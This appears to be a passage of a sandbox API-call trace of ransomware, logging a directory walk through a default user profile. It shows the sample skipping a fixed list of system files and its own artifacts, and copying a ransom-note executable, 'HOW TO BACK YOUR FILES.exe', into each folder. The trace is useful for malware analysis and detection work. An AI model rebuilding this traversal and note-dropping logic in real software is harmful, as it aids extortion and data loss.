	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="perflogs") returned -1
	[0054.617] lstrcmpiW (lpString1="Credentials", lpString2="MSBuild") returned -1
	[0054.617] lstrlenW (lpString="Credentials") returned 11
	[0054.617] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*") returned 42
	[0054.617] lstrcpyW (in: lpString1=0x119e65a, lpString2="Credentials" | out: lpString1="Credentials") returned="Credentials"
	[0054.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ba8
	[0054.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a8a8
	[0054.618] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bb0) returned 0x5b7a30
	[0054.618] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="Apollon865.txt.exe") returned 1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2=".") returned 1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="..") returned 1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="windows") returned -1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="bootmgr") returned 1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="temp") returned -1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="pagefile.sys") returned -1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="boot") returned 1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="ids.txt") returned -1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="ntuser.dat") returned -1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="perflogs") returned -1
	[0054.618] lstrcmpiW (lpString1="Feeds", lpString2="MSBuild") returned -1
	[0054.618] lstrlenW (lpString="Feeds") returned 5
	[0054.618] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials") returned 52
	[0054.618] lstrcpyW (in: lpString1=0x119e65a, lpString2="Feeds" | out: lpString1="Feeds") returned="Feeds"
	[0054.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0054.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5798
	[0054.618] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a90 | out: ListHead=0x5b75f0, ListEntry=0x5b7a90) returned 0x5b7bb0
	[0054.618] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f20e490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f20e490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
	[0054.618] lstrcmpiW (lpString1="Feeds Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.618] lstrcmpiW (lpString1="Feeds Cache", lpString2="Apollon865.txt.exe") returned 1
	[0054.618] lstrcmpiW (lpString1="Feeds Cache", lpString2=".") returned 1
	[0054.618] lstrcmpiW (lpString1="Feeds Cache", lpString2="..") returned 1
	[0054.618] lstrcmpiW (lpString1="Feeds Cache", lpString2="windows") returned -1
	[0054.618] lstrcmpiW (lpString1="Feeds Cache", lpString2="bootmgr") returned 1
	[0054.618] lstrcmpiW (lpString1="Feeds Cache", lpString2="temp") returned -1
	[0054.618] lstrcmpiW (lpString1="Feeds Cache", lpString2="pagefile.sys") returned -1
	[0054.618] lstrcmpiW (lpString1="Feeds Cache", lpString2="boot") returned 1
	[0054.619] lstrcmpiW (lpString1="Feeds Cache", lpString2="ids.txt") returned -1
	[0054.619] lstrcmpiW (lpString1="Feeds Cache", lpString2="ntuser.dat") returned -1
	[0054.619] lstrcmpiW (lpString1="Feeds Cache", lpString2="perflogs") returned -1
	[0054.619] lstrcmpiW (lpString1="Feeds Cache", lpString2="MSBuild") returned -1
	[0054.619] lstrlenW (lpString="Feeds Cache") returned 11
	[0054.619] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds") returned 46
	[0054.619] lstrcpyW (in: lpString1=0x119e65a, lpString2="Feeds Cache" | out: lpString1="Feeds Cache") returned="Feeds Cache"
	[0054.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0054.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59aa10
	[0054.619] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7a90
	[0054.619] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e70bed0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e70bed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.619] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.619] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f1c21d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f1c21d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="Apollon865.txt.exe") returned 1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="temp") returned -1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="pagefile.sys") returned -1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot") returned 1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="ids.txt") returned 1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="perflogs") returned -1
	[0054.619] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSBuild") returned -1
	[0054.619] lstrlenW (lpString="Internet Explorer") returned 17
	[0054.619] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache") returned 52
	[0054.619] lstrcpyW (in: lpString1=0x119e65a, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer"
	[0054.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0054.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591640
	[0054.619] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x5b7b50
	[0054.620] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ed4b890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ed4b890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="Apollon865.txt.exe") returned 1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2=".") returned 1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="..") returned 1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="windows") returned -1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="bootmgr") returned 1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="temp") returned -1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="pagefile.sys") returned -1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="boot") returned 1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="ids.txt") returned 1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="ntuser.dat") returned -1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="perflogs") returned -1
	[0054.620] lstrcmpiW (lpString1="Media Player", lpString2="MSBuild") returned -1
	[0054.620] lstrlenW (lpString="Media Player") returned 12
	[0054.620] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer") returned 58
	[0054.620] lstrcpyW (in: lpString1=0x119e65a, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player"
	[0054.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0054.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a998
	[0054.620] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fcb0 | out: ListHead=0x5b75f0, ListEntry=0x59fcb0) returned 0x59fc90
	[0054.620] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66d8860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0054.620] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.620] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0054.620] lstrcmpiW (lpString1="Windows", lpString2=".") returned 1
	[0054.620] lstrcmpiW (lpString1="Windows", lpString2="..") returned 1
	[0054.620] lstrcmpiW (lpString1="Windows", lpString2="windows") returned 0
	[0054.620] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e8d4f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e8d4f50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1
	[0054.620] lstrcmpiW (lpString1="Windows Mail", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.620] lstrcmpiW (lpString1="Windows Mail", lpString2="Apollon865.txt.exe") returned 1
	[0054.620] lstrcmpiW (lpString1="Windows Mail", lpString2=".") returned 1
	[0054.620] lstrcmpiW (lpString1="Windows Mail", lpString2="..") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Mail", lpString2="windows") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Mail", lpString2="bootmgr") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Mail", lpString2="temp") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Mail", lpString2="pagefile.sys") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Mail", lpString2="boot") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Mail", lpString2="ids.txt") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Mail", lpString2="ntuser.dat") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Mail", lpString2="perflogs") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Mail", lpString2="MSBuild") returned 1
	[0054.621] lstrlenW (lpString="Windows Mail") returned 12
	[0054.621] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player") returned 53
	[0054.621] lstrcpyW (in: lpString1=0x119e65a, lpString2="Windows Mail" | out: lpString1="Windows Mail") returned="Windows Mail"
	[0054.621] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0054.621] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59aa88
	[0054.621] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc30 | out: ListHead=0x5b75f0, ListEntry=0x59fc30) returned 0x59fcb0
	[0054.621] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e816870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="Apollon865.txt.exe") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2=".") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="..") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="windows") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="bootmgr") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="temp") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="pagefile.sys") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="boot") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="ids.txt") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="ntuser.dat") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="perflogs") returned 1
	[0054.621] lstrcmpiW (lpString1="Windows Media", lpString2="MSBuild") returned 1
	[0054.621] lstrlenW (lpString="Windows Media") returned 13
	[0054.621] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail") returned 53
	[0054.621] lstrcpyW (in: lpString1=0x119e65a, lpString2="Windows Media" | out: lpString1="Windows Media") returned="Windows Media"
	[0054.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0054.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6e) returned 0x59ab00
	[0054.622] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc50 | out: ListHead=0x5b75f0, ListEntry=0x59fc50) returned 0x59fc30
	[0054.622] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e7f0710, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e7f0710, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="Apollon865.txt.exe") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2=".") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="..") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="windows") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="bootmgr") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="temp") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="pagefile.sys") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="boot") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ids.txt") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ntuser.dat") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="perflogs") returned 1
	[0054.622] lstrcmpiW (lpString1="Windows Sidebar", lpString2="MSBuild") returned 1
	[0054.622] lstrlenW (lpString="Windows Sidebar") returned 15
	[0054.622] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media") returned 54
	[0054.622] lstrcpyW (in: lpString1=0x119e65a, lpString2="Windows Sidebar" | out: lpString1="Windows Sidebar") returned="Windows Sidebar"
	[0054.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0054.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5916c0
	[0054.622] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc70 | out: ListHead=0x5b75f0, ListEntry=0x59fc70) returned 0x59fc50
	[0054.622] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e7f0710, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e7f0710, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0
	[0054.622] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.622] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc70
	[0054.622] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar"
	[0054.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0054.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0054.622] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar") returned 56
	[0054.623] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar"
	[0054.623] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.623] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.623] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.623] GetLastError () returned 0x0
	[0054.623] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.623] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.623] CloseHandle (hObject=0x14c) returned 1
	[0054.623] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.623] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.623] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e7f0710, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e7f0710, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.624] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.624] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.624] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.624] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e7f0710, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e7f0710, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.624] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.624] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.624] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.624] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.624] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e816870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e816870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="Apollon865.txt.exe") returned 1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2=".") returned 1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="..") returned 1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="windows") returned -1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="bootmgr") returned 1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="temp") returned -1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="pagefile.sys") returned -1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="boot") returned 1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="ids.txt") returned -1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="ntuser.dat") returned -1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="perflogs") returned -1
	[0054.624] lstrcmpiW (lpString1="Gadgets", lpString2="MSBuild") returned -1
	[0054.624] lstrlenW (lpString="Gadgets") returned 7
	[0054.624] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*") returned 58
	[0054.624] lstrcpyW (in: lpString1=0x119e67a, lpString2="Gadgets" | out: lpString1="Gadgets") returned="Gadgets"
	[0054.624] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0054.624] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b90d8
	[0054.625] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc70 | out: ListHead=0x5b75f0, ListEntry=0x59fc70) returned 0x59fc50
	[0054.625] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e7f0710, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e7f0710, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.625] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.625] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 1
	[0054.625] lstrcmpiW (lpString1="Settings.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
